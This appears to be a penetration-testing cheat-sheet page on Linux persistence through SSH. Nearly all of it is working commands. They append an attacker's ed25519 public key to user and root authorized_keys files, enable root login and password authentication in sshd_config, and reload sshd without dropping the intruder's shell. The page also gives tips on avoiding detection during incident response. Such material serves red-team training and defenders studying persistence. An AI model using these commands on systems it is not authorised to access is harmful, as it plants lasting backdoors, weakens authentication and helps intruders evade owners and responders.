Skip to content

Linux SSH Authorized Keys Persistence

4 min read Created Apr 4, 2026 Last updated Jul 14, 2026

Adding your public key to a user's authorized_keys file gives passwordless SSH access that survives password changes, reboots, and session termination. It requires write access to the target user's home directory: either directly or through a path traversal, file write vulnerability, or elevated shell.

The technique works for any user account on the system, not just root. Low-privilege user persistence is often overlooked during incident response. Multiple keys in authorized_keys are allowed, so appending does not remove existing entries. Confirm that SSH is listening and reachable before writing the key.

Steps for SSH key persistence:

  • Generate an ed25519 key pair on your attack box
  • Append the public key to the target's ~/.ssh/authorized_keys
  • Set correct permissions (.ssh 700, authorized_keys 600)
  • Test the connection before closing your current shell

Check /etc/ssh/sshd_config for a custom port if port 22 is filtered.

Generate a key pair on your attack box

┌──(kali㉿kali)-[~]
└─$ ssh-keygen -t ed25519 -f ~/.ssh/persistence_key -N ''
┌──(kali㉿kali)-[~]
└─$ cat ~/.ssh/persistence_key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@kali

Add key to target user

OpenSSH enforces permissions strictly. If .ssh is not mode 700 or authorized_keys is not mode 600, authentication fails silently. The client sees a password prompt instead of a key error. Always set permissions immediately after writing the key. If you write the file as a different user, the chown step is required. A root-owned authorized_keys in a user's home directory will not authenticate that user. Test the key before closing your current session. Connect from the attack box while the original shell is still open. Run ssh -v if the login fails to see exactly where authentication breaks.

user@host ~ $ # Create .ssh directory if it doesn't exist
user@host ~ $ mkdir -p ~/.ssh
user@host ~ $ chmod 700 ~/.ssh
 
user@host ~ $ # Add your public key
user@host ~ $ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@kali' >> ~/.ssh/authorized_keys
user@host ~ $ chmod 600 ~/.ssh/authorized_keys
 
user@host ~ $ # For root (requires root shell)
user@host ~ $ mkdir -p /root/.ssh
user@host ~ $ chmod 700 /root/.ssh
user@host ~ $ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@kali' >> /root/.ssh/authorized_keys
user@host ~ $ chmod 600 /root/.ssh/authorized_keys
 
user@host ~ $ # For another user
user@host ~ $ mkdir -p /home/$USER/.ssh
user@host ~ $ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@kali' >> /home/$USER/.ssh/authorized_keys
user@host ~ $ chmod 600 /home/$USER/.ssh/authorized_keys
user@host ~ $ chown -R $USER:$USER /home/$USER/.ssh
┌──(kali㉿kali)-[~]
└─$ ssh -i ~/.ssh/persistence_key $USER@$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ ssh -i ~/.ssh/persistence_key root@$TARGET_IP

SSH config persistence

Beyond authorized_keys, the sshd configuration can be modified to allow root login or password authentication if currently disabled: making other accounts or methods viable for re-entry. The grep output shows the current effective settings before you change anything. If PermitRootLogin shows prohibit-password, key-based root login already works and you only need to add the key. If PasswordAuthentication is no, enabling it lets you authenticate with any cracked credential. A reload sends SIGHUP to sshd and applies changes without dropping active sessions. A full restart would disconnect existing shells, including your own.

user@host ~ $ # Check current SSH config
user@host ~ $ grep -E 'PermitRootLogin|PasswordAuthentication|AuthorizedKeysFile' /etc/ssh/sshd_config
 
user@host ~ $ # Enable root login (requires root)
user@host ~ $ sed -i 's/^PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
 
user@host ~ $ # Enable password authentication
user@host ~ $ sed -i 's/^PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config
 
user@host ~ $ # Reload sshd
user@host ~ $ systemctl reload sshd
user@host ~ $ service sshd reload

SSH config changes are visible and often monitored. The authorized_keys method is less detectable because it adds a key to an existing file rather than modifying a system configuration file. On systems with AuthorizedKeysCommand configured, the static authorized_keys file may be bypassed: check the sshd config before relying on this technique. If AuthorizedKeysCommand is set, keys are fetched dynamically from an external source such as LDAP or a custom script. Your written key will be ignored entirely. Read the command value in sshd_config to understand where keys are sourced, then target that system instead.

Cleaning up

user@host ~ $ # Remove specific key from authorized_keys
user@host ~ $ grep -v 'attacker@kali' ~/.ssh/authorized_keys > /tmp/ak_clean
user@host ~ $ mv /tmp/ak_clean ~/.ssh/authorized_keys
 
user@host ~ $ # Restore sshd config
user@host ~ $ sed -i 's/^PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
user@host ~ $ sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
user@host ~ $ systemctl reload sshd